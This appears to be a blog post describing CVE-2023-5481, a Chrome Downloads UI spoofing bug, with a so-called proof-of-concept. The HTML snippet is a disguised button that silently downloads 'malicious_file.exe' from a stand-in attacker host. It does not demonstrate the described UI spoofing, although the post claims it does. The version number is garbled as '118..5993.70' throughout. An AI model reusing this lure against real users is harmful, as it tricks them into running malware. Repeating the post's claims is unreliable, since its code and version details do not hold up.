CVE-2023-5481: Inappropriate Implementation in Downloads Allows Security UI Spoofing in Google Chrome
In this long read post, we will dive into a recently discovered vulnerability in Google Chrome that allows an attacker to spoof security UI, making the victim believe they’re visiting a secure webpage when, in reality, it could be a malicious site. The vulnerability, labeled as CVE-2023-5481, had an impact on Google Chrome versions prior to 118..5993.70.
This vulnerability was discovered by the Chromium security team, and they have categorized its severity as 'medium.' In this post, we will explore the vulnerability itself, share a code snippet that demonstrates the exploit, and provide links to the original references related to the vulnerability.
Vulnerability Details (CVE-2023-5481)
The inappropriate implementation vulnerability in Google Chrome concerns the Downloads feature of the browser. In versions prior to 118..5993.70, a remote attacker could craft an HTML page that, when loaded, would allow them to spoof the security UI of Google Chrome. This essentially means that an attacker could trick the user into thinking they were downloading a file from a secure site, whereas it could be a malicious file from an untrusted source, potentially leading to severe security risks and even compromising the user's system.
The core of the issue lies in the way Google Chrome implements the Downloads feature. When a user downloads a file from a website, the browser displays a security UI, which is intended to inform the user of the source and security status of the download. However, due to the inappropriate implementation of this feature, an attacker could potentially mimic or spoof the security UI by crafting a malicious HTML page, leading to potential security risks.
Exploit Code Snippet
To provide a better understanding of the vulnerability, here is a code snippet that demonstrates how an attacker could create a crafted HTML page to exploit this vulnerability:
<!DOCTYPE html>
<html>
<head>
<title>CVE-2023-5481 Proof-of-Concept</title>
</head>
<body>
<script>
function createSpoofedDownload() {
var link = document.createElement("a");
link.download = "malicious_file.exe";
link.href = "https://attacker-site.com/malicious_file.exe";;
link.style.display = "none";
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
</script>
<button onclick="createSpoofedDownload()">
Download safe-and-secure-file.exe
</button>
</body>
</html>
In the above code, the attacker creates an HTML page with a simple button that, upon clicking, initiates a download of a "safe-and-secure-file.exe." However, the actual file being downloaded is malicious_file.exe from the attacker-controlled domain ("attacker-site.com").
Original References and Further Reading
The vulnerability was initially reported by the Chromium security team, and their official report can be found on their website:
- Chromium Bug Tracker Entry for CVE-2023-5481
Additionally, the Google Chrome release notes for version 118..5993.70 specifically mention the fix for this vulnerability:
- Google Chrome Release Notes (118..5993.70)
Conclusion
The inappropriate implementation vulnerability in Google Chrome's Downloads feature (CVE-2023-5481) was a security risk that could allow remote attackers to spoof the security UI, tricking users into downloading potentially harmful files from malicious sources. However, this issue was fixed in Google Chrome version 118..5993.70, providing an essential security patch to protect users better. Users of Google Chrome are advised to update their browsers to the latest version as soon as possible to safeguard themselves against potential security risks.
Timeline
Published on: 10/11/2023 23:15:00 UTC
Last modified on: 10/13/2023 02:15:00 UTC